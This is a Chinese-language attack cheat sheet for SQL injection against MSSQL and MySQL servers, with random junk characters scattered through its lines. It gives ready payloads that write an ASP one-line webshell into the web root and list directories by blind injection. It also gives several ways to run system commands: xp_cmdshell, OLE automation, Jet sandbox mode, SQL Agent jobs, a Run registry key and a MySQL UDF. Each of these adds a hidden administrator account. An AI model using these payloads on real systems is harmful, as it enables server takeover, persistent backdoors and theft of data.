MSSQL语句导出一句话木马
# s3 a" n- L; w首先确定网站的WEB路径& c, P* S" D; P O( p
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马0 A1 x, i1 i! r8 I t
( m4 _, h! L* c* V1 v! X, L9 A
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
' ]* L4 z# Z i8 ~1 ?) s! X( w//将一句话木马插入表中
% b6 X1 C' i& T6 o, u7 S) c% }( u4 w
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
q' g4 `% k0 V( t S( h& n//导出一个ASP文件# Q. h: v( Q! p! K8 S m7 A( B
% ]6 _! ^5 q! J4 s, h/ t: J# c& ~ I7 s5 s: @( f) B( D! ^
关于MSSQL列目录
4 o3 B* Y! a* x! t, M4 N;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表7 b# \6 ]7 [( C% c! m" ^$ [
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表1 I, N7 y% X3 E' H" G
- z2 V4 x' [6 I# {9 q
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录3 s9 X2 H# ^7 _$ J& O! j5 u
3 q9 a. X* ^. d% QAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段0 q+ q# q/ f% x
* r H- i# o4 {& k
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符, P+ i+ y6 w4 M+ M3 Z& O5 F; g$ I% U
" H3 Q9 B* a" q$ R+ ^$ G% m( F: Q, _8 b
数据库版本和权限查看
3 s. ^% ?) G" D! Sand 1=(select @@VERSION) //查看详细的数据库信息.9 p& Y* W u! f6 m) r' `
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA6 A+ o/ O/ }6 R" c# N6 M! @
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
0 l& B5 S; {* O, p: Z E+ M" C+ @, q3 L% s5 S ?
7 R+ h {$ F- N1.利用xp_cmdshell执行命令/ E& K4 b* Q0 d" V, J2 E
exec master..xp_cmdshell 'net user rfire 123456 /add'
' Y9 }. C0 C7 c0 I4 Oexec master..xp_cmdshell 'net localgroup administrators rfire /add'* \+ P& D9 ], D/ Y& V; \8 @
$ p, v# n' \9 W8 X. e& ?# d# C/ c恢复xp_cmdshell存储过程+ M, E1 S! F! [9 w
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'. A# t" X% G j! O$ a2 o. W
1 s9 s8 ^4 H5 X8 b* v0 @" Z
7 G( ?! ^, \# M: M2.利用SP_OAcreate和SP_OAMETHOD执行命令* N1 i' e4 a4 ^( f
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
' Q* h# G) _9 d5 u& iDECLARE @shell INT //建立一个@shell实体: o6 x3 t; v/ y) [- U+ |8 F
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
5 |6 p0 A. W, ?/ vEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
5 r% E6 n* ]4 N$ z
) v: A2 h- i: V! Y0 I3 r+ o5 i- k5 a4 \; Z
3.利用沙盒模式 o0 F! ~6 z3 \% P& j8 i
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
1 A$ x5 ?# o, a; F3 p: g开启沙盒模式:1 [6 Y$ n( t# n. F5 O Z
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',07 @, E+ e- }! A y U
3 x* [# N. @- c, {( B执行命令:
& l9 S2 i1 h7 \$ V7 N% bSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');/ _ C% ~; m1 v9 K7 M
1 ^! \, E6 Z. [) K/ B. o d2 O' n2 R' A6 N( h. v
4.利用SQL代理执行命令; e5 z( y; }! i" }
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
5 T) J+ v0 I; _( O& [9 h! M9 t0 ~2 Q: f; t O/ W6 X" R% b/ }
执行命令:
4 A7 J5 y% O l. Luse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错, f* U2 m$ f B; ?' v2 d$ W
exec sp_add_job 'x'
! A% P: d% }& eexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业" A* _$ h8 t% O& {$ h) W, a
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业6 Y. m+ L6 T4 F, _0 {
5 L v, Q+ m9 Q
/ i3 }0 h0 L3 X+ J" w5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
. m/ m5 d* e( U' i0 }% B9 ~% eEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
, ^6 o2 ?5 _# `) P# Z
6 j* c' c9 g4 I( _, |9 R* o* D+ R5 H
6.MYSQL的命令执行6 k O' ?6 x% d( C8 R- m( S
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)2 G: T. C2 l& A+ U; t m0 r
首先要在su.php下导出c:\windows\udf.dll3 i1 z" Y: D/ b% Z
导出后执行创建自定义函数命令:
! T! G: g1 }& }- u' f. _Create Function cmdshell returns string soname 'udf.dll'3 u2 B) E* u! V" a, z$ w% L
执行命令/ J: O. U+ X4 V5 K- G
select cmdshell('net user rfire 123456 /add')
( {) M+ H6 x+ O; u8 q执行后删除函数 drop function cmdshell! u3 k6 ^+ l! n
|